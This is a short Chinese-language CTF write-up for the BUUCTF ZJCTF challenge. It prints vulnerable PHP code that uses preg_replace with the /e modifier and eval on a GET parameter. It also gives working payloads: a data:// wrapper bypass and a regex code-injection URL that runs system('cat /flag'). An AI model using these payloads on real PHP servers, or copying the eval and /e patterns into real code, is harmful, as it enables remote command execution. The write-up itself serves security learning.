buuctf题目ZJCTF

页面展示：

从URL中获取两个参数分别赋给text和file，判断test中的内容与后面的字符串是否强相等，其中file_get_contents($text,'r')表示读文件text的内容，而我们需要将输入的text使用伪协议data://text/plain伪装成文本数据，则可以构造payload，/?text=data://text/plain,I have a dream&file=next.php，出现了base64编码，解码后得到下列php代码：

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}


foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
        @eval($_GET['cmd']);
}

其中complex函数对字符串进行正则替换，即将匹配到的字符串改为小写。/ei当作php代码来执行，忽略大小写，getFlag函数将cmd中的参数输出。

构造payload，/?text=data://text/plain,I have a dream&file=next.php&\S*=${getFlag()}&cmd=system('cat /flag');使用正则表达式匹配一个或多个非空白字符(\S*)，然后赋值给一个变量。得到flag。